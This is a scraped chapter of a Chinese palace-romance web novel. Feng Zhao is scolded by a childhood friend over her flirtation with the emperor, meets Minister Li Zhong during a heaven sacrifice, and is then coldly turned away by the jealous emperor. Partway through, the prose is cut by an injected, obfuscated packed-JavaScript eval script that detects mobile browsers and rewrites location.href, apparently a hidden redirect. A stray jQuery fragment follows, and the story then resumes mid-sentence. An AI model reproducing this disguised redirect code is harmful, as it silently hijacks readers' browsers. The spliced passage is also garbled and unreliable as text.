默认冷灰
24号文字
方正启体

29. 第 29 章

作者:彭三山本书字数:K更新时间:
    冯照心满意足地离开御帐,首战告捷她心里很是满意,又暗暗得意起自己的御男之术。再如何尊贵的身份下都只是个普通男子而已,她拿捏起来还不是手到擒来。


    得意完了,她便去寻阿耶和阿兄,好叫阿耶知道她又不是只会闯祸,自己留下的烂摊子她总能化腐朽为神奇。


    冯照在百子帐间穿梭,但路过一间帷帐时,她忽然被人叫住,转头一看,竟是陆希清站在那里。


    帐顶形如巨伞,遮盖住下面,在墙壁下形成一圈阴影。他贴着墙,立在阴影中像是藏匿的壁虎,怪不得她没看到。


    “陆世兄,好巧。”冯照说。


    “不巧,我是特意等在这里。”陆希清道。


    冯照疑惑,等着找她吗?


    陆希清低头看她,有些犹疑,“我刚才看见你……”


    冯照的眼神一瞬间变得锐利,等着他说出下半句。


    陆希清见她不作回应,便接着说:“看见你从御帐里出来。”


    冯照抱臂看他,“所以?”


    她不以为意,陆希清死拧着眉头,像是操心什么骄纵的孩子,“你不能这样。”


    冯照笑了,“不能哪样?”


    陆希清见她装糊涂不承认,忍不住直白说出口,“你与崔给事既有情意,便不该……”说到这里,他又顿住了,放轻了声音,“不该招惹陛下。”


    他是憨直老实的性子,见不得这种多人勾缠的纠葛,见到了便忍不住说出来。


    冯照看着他的眼睛,那里面有担心,有疑问,也有纠结。她走近一步直逼他,“你是以什么身份说这样的话?”


    陆希清正色,“我是你的朋友,我们从小一起长大。”


    “那你不该帮我吗?我们一起长大,你应该为我长袖善舞,左右逢源高兴才是。”冯照笑道。


    他又狠狠皱起眉头看着她,“你不要这么说,我不是责怪你,但你招惹了陛下,不是能轻易脱身的。”


    冯照不知道陆希清为什么突然这么说,好像他们关系匪浅一样。但对她而言,这只是个幼时玩伴而已,他们之间还没有到可以互诉衷肠的地步。多年不见,他们都和小时候大不同了,他又怎么能假定她是什么样的人呢。


    她问道:“你怎么就知道,一定是我主动招惹的呢?倘若是我身不由己呢?”


    陆希清脸色一变,他第一反应是震惊,但再想想又觉得不可能,以她的性子,若是被逼无奈也定不会逆来顺受。


    见他面色纠结,不知信还是没信,冯照扬眉道,“即便是我招惹了又如何呢,他们都心甘情愿啊,他们都没说什么,你又有什么不满的?”


    他本就不善口角,此刻被她的牙尖嘴利堵得说不出话来。


    冯照被他半道上截住又说了一通不中听的话弄得很不高兴,忍不住讥讽他,说完便拂袖而去。


    可陆希清想叫住她又不得,更加焦急,他自小跟在父亲身边,虽不善言辞但心中对朝野人事都清明得很,如今又任散骑侍郎,随侍陛下左右,当然知道陛下为人。


    陛下有圣明仁德之誉,但那都是在朝堂之上,于私事上却格外执拗。若是寻常事倒也罢了,陛下愿意为了名声宽容几分,但要是触到了逆鳞就知道何为雷霆之怒了。


    如今冯照肆意妄为,简直是在陛下的底线上蹦跶。他万分担忧,这二人之间就如平地焦木,稍有雷火便能彻底击中引燃。他在一旁看着都担惊受怕,可一个不愿听,一个不敢说,迟早有一天要出大事。


    但他阻止不得,只好满面忧愁地回去帐中。


    帐上顶盖长得几乎曳地,柔风吹动间露出一个人影,方才二人谈话间周围百子帐密布,青缯翻动,目光所至完全没发现有人在。


    元恒面冠如玉,在天光下能白得发光,然而此刻隐在阴影里却看不清神色。他一动不动,一直站到周围无人,手里还拿着玉瓶。


    他是来给她送药的。


    现下药也不必送了,他拖着站得僵直的腿回了御帐,白准在帐外等着,见他回来不由笑道:“陛下真是有心了,冯娘子定然感动不已。”


    元恒定住,看他一眼,眼中好像能射出利箭将他戳个窟窿,此刻手中玉瓶就是烫手山芋,他迫不及待要甩开,他猛地扔到白准身上,头也不回地走了。


    白准猝不及防陛下的变脸,手忙脚乱地接住,他仔细一瞧,小小的玉瓶身上竟已有了几道裂痕。


    这是怎么了?


    但无论如何,第二日祭天时陛下又神色如常,看不出任何异处了。


    祭礼上,只有皇帝和内朝臣可以进入墙内,外朝臣与诸部大人都只能留在墙外。冯照无官无职,当然也只能留在墙外,听着青门里时不时传出的阵阵的声响。


    有此一瞬,她忽然颇为羡慕墙内的人,他们在奉祀上苍,直通天神,可天神也不愿被过多打扰,只有人世间最为显贵的人才有资格前去祭祀。一道墙垣将人分成二等,外间的人只有只有透过青门间隙才能窥到些许动静。


    而墙内的皇帝心绪难平,祭祀的一切礼程都从速,已无他争来祭礼时要大做一场的雄心壮志了。


    女巫手持巫鼓,走到祭坛上开口吟唱,标志着祭典开始,在她挥臂舞足的仪式中,七位少年手持酒器绕祭坛而立。礼官站在坛下,注视着礼程的进行准确无虞,再高声主持礼程的下一步。


    皇帝下拜结束,礼官高声呼喊,指挥青门内外的百官下拜,陛下一人独立于祭坛高台之上,众人则在底下下拜,观陛下此刻也与天神无异了。冯照就在墙外的百官诸臣中一同下拜,看不见墙内景象,但她也以为皇帝心中定然豪情万丈。


    元恒此刻心中在想什么呢?


    他在想,那酒器怎么那么像他扔掉的药瓶,明年必须换掉。


    祭天之后,同样由皇帝带着众公卿行绕天之举。所谓绕天,便是皇帝骑马绕行祭坛三周,公卿绕行七周。


    于是墙外众人得以看到陛下率众公卿出墙寻马。这时候便能看出大卫朝的臣子们谁轻谁重了,这种祭天大礼非公卿重臣不得跟随,满朝百官也只挑了二十来个,都是陛下最倚重的臣子。


    臣子们遍穿戎服实在难得一见,冯照在这些人中精准地看到了自己的父亲,还有前不久她见到的李仆射。


    在众臣之前,是全副武装的陛下,这还是冯照第一次见到身着戎服的陛下,昨日蹋坛时她还在百子帐间找路呢。


    元恒穿的是最正式的戎装,窄袖短衣,长裤革靴以备骑马,身披明光铠,腰束革带,头戴铜铁兜鍪,面容冷肃。


    冯照只见过陛下在宫外穿着寻常衣服的样子,如今别样的装束在陛下身上倒是显得更有一番风情了,冯照托腮看着,心里美滋滋的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200354|163160||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,这样文韬武略的郎君也折服在她裙角下。只是不知是不是典礼繁复所致,她总觉得陛下的心情似乎不大好。


    绕天很快结束,陛下将要在帐中再次宴请群臣,冯照预备着找准时机再去寻他,不料路上却碰见了她方才看见的李仆射。


    李忠迎面走来,却似乎盯着她的脸看了几眼。


    冯照行了个礼,“李仆射。”


    李忠有些惊讶,“你认得我?”


    冯照便道:“我在太后宫中见过李仆射,自然认得。”


    他的眼神一下变了,重新审视她,“太后?”


    冯照面对这个传奇人物,有些顽劣的心思,想看看涉及太后时他是什么反应,便说道:“我是太后的侄女,冯家大娘子。”


    李忠方才锐利的眼神又一瞬间和缓起来,他微微一笑,“原来竟是冯家女郎。”


    冯照很想知道他方才为什么看她,也并不委婉,直接问他:“方才李仆射看我,是有什么事吗?”


    哪知道李忠丝毫没有被戳穿的尴尬,反而有些伤感,他道:“女郎与太后年轻时很是相像。”


    冯照震惊了,她和太后很像?她们分明长得不一样啊,连父亲带着她跟太后套近乎时也没说过她们长得像。


    李忠似乎知道她在想什么,笑了笑道:“样貌倒是其次,女郎和太后当年的神态如出一辙。”


    她没有见过太后年轻时的样子,但李仆射入朝也并不早吧,这么早就见过太后吗?她试探着问了一句,“我性情跳脱,远比不上姑姑稳重,姑姑那时和如今性情不同吗?”


    李忠闻言却有些沉默,他说:“岁数大了,性情总归会变的。”


    李仆射看起来很是怀念的样子,再联想到他至今未娶,孤身一人,冯照不由浮想联翩。


    李忠见她眼露精光的样子,又说道:“太后当年入掖庭时,曾在东观做过女史,女郎若想知道,可去东观探寻一番。”


    冯照又震惊了,李仆射,你怎么知道得这么清楚?你那时候还只是个中书学生吧。


    李忠说完便施施然走了,只留下冯照在原地满脸疑惑。


    冯照避开人群到达御帐时,帐前站着白准。堂堂中常侍立在门口像个门神一般,但一见到冯照过来脸上又盈满笑意,“冯娘子。”


    冯照也回之一笑,“白中常,陛下现下可得空?”


    白准笑容不改,说出的话却异常无情,“陛下正忙着,女郎请回吧。”


    什么?


    她不是听错了吧?她根本不信他在忙,出来祭天还要忙什么。更何况陛下昨天才说准允她过来寻他,今天就没空了,这不合常理。


    但中常侍是陛下心腹,绝不可能自作主张,唯一的可能是陛下他喜怒无常的毛病又犯了。


    冯照暗暗翻了个白眼,但面上还是恭恭敬敬的,跟白准客套一番后就打道回府了。


    “她只问了一次就走了?你怎么说的?”帐内的皇帝陛下还没把戎装换下,他站在桌前,隔着满桌的经书奏文问道。


    白准觉得自己冤得很,他是按照陛下的意思说的,半个字也不敢改。可他哪儿能决定女郎怎么说呢,只好原模原样地把帐外的对话又复述了一遍。


    皇帝听了沉默不语,好半晌才冷言道:“出去。”


    白准暗暗心里舒了口气,忙不迭滚出去了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)